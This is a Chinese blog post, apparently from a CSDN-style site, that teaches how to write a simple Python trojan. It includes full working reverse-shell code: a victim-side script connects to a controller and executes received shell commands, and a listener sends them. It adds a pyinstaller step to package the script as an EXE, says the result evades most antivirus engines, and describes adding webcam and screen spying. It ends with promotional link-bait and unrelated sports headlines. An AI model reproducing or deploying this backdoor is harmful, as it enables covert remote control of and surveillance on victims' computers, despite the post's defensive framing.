2025-07-02 22:22:51 703
真不是标题党,这回咱不聊虚头巴脑的学习路线,直接上干货——手把手教你撸一个简易木马。 别误会,不是鼓励你搞破坏,而是让你知己知彼,更懂防御! 毕竟,天天用加载器生成木马,却不知道背后原理,跟盲人摸象有啥区别?虽然脚本能绕过360,但终究是治标不治本。
EXE程序:木马的“皮囊”,还是计算机的通用“语言”?
木马这玩意儿,说白了就是寄生在网络上的间谍,靠客户端和服务端之间的秘密通信来搞事情。而EXE程序,作为Windows系统上的“通用货币”,自然成了木马最爱的伪装。
但你有没有想过,为啥木马可以用C、Python、Go这些看似风马牛不相及的语言来写? 这就得祭出“计算机组成原理”这门神课了。 简单来说,我们写的高级语言,最终都要翻译成机器才能懂的“机器语言”才能跑起来!
记住这俩关键点:
看到这,我当年也纳闷:这编译器是何方神圣,咋就能把高级语言翻译成汇编语言? 后来才知道,这玩意儿本质上就是个“翻译官”,把常用的汇编指令封装成一个个函数,让你调用起来更方便。
所以,木马的本质还是机器指令在驱动,只不过我们用高级语言可以更高效地编写这些指令。 为了快速上手,咱也用Python这种“胶水语言”来写,站在巨人的肩膀上才能看得更远嘛!
Socket:木马的“通信线路”,还是“窃听风云”的幕后黑手?
先来个最简单的:服务端(被控制的电脑)和客户端(攻击机)的代码。
跑起来看看效果:
成了!一个简陋的交互式终端就这么诞生了。 其实就是用Socket在两台机器之间建立连接,然后把攻击机的指令发送过去,再把结果返回来。
等等,这只是个脚本,算不上木马吧? 简单,直接用pyinstaller打包成EXE:
pyinstaller --onefile 1.py
再跑一遍,看看能不能成功回连。
成了! 居然没报毒?看来这种简单的交互式木马,杀软都懒得理你。
摄像头+屏幕监控:木马的“眼睛”,还是隐私泄露的罪魁祸首?
光有终端还不够,咱再升级一下,加上摄像头监控和屏幕监控功能。 这次遇到了个坑:进程交互的时候,视频监控会导致阻塞。 后来发现是多线程没用好,改了几次才搞定。
先看看摄像头监控的效果:
然后是远程屏幕监控,用Socket实时传输图片数据,再用多线程避免阻塞,实现视频监控和终端交互两不误。
就这样,一个集监控、摄像、终端控制于一体的简易木马就诞生了! 当然,由于只是简化版,性能肯定受限,比如同时开屏幕监控和摄像头就容易卡死。 要想优化,还得学更多姿势。
免杀?不存在的!
这次复习计组,顺便研究了下木马,发现直接打包出来的EXE居然能过360和火绒!
48款杀软只有两款能测出来,估计是样本太小了。
所以,别迷信杀软,关键还是自己提高警惕!
钓鱼?防不胜防!
木马主要靠运行EXE文件来上线,所以不要随便下载软件。 有些木马还会藏在白程序里,像特洛伊木马一样,让你防不胜防。 以后有空再写一篇关于钓鱼的文章, 比如水坑攻击、钓鱼网站、压缩包木马等等。 只有真正了解这些套路,才能最大程度地避免上当。
代码?拿走不谢!
如果你也想自己撸一个木马来研究学习,可以私信我,完整版代码有点长,就不贴了。 下面是最初的交互版本:
被控端:
import socket
import subprocess
import os
def connect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
return s
def receive_commands(s):
while True:
command = s.recv(1024).decode()
if command.lower() == 'exit':
s.close()
break
elif command[:2] == 'cd':
os.chdir(command[3:])
s.send(b'Changed directory')
else:
result = subprocess.run(command, shell=True, capture_output=True)
s.send(result.stdout + result.stderr)
if __name__ == '__main__':
ip = '127.0.0.1' # 控制服务器的IP地址
port = 4444 # 控制服务器的端口
s = connect(ip, port)
receive_commands(s)
客户端:
import socket
def start_server(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(5)
print(f'[*] Listening on {ip}:{port}')
return s
def handle_client(client_socket):
while True:
command = input('> ')
client_socket.send(command.encode())
if command.lower() == 'exit':
break
result = client_socket.recv(4096).decode('gbk')
print(result)
if __name__ == '__main__':
ip = '127.0.0.1' # 控制服务器的IP地址
port = 4444 # 控制服务器的端口
server = start_server(ip, port)
client_socket, addr = server.accept()
print(f'[*] Connection from {addr}')
handle_client(client_socket)
记住,技术无罪,但用错了地方就是犯罪!
黑客/网络安全学习包
资料目录
成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************
丹麦世界杯阵容 2025-05-22 13:39:54
丹麦世界杯阵容 2025-05-11 23:02:09
男篮世界杯中国 2025-06-05 08:25:50
丹麦世界杯阵容 2025-05-28 16:38:03
男篮世界杯中国 2025-05-09 07:09:32
世界杯直播频道 2025-06-09 04:09:13
世界杯直播频道 2025-06-10 11:12:26
世界杯直播频道 2025-05-14 19:06:29
世界杯直播频道 2025-06-11 04:56:21
丹麦世界杯阵容 2025-05-14 22:26:50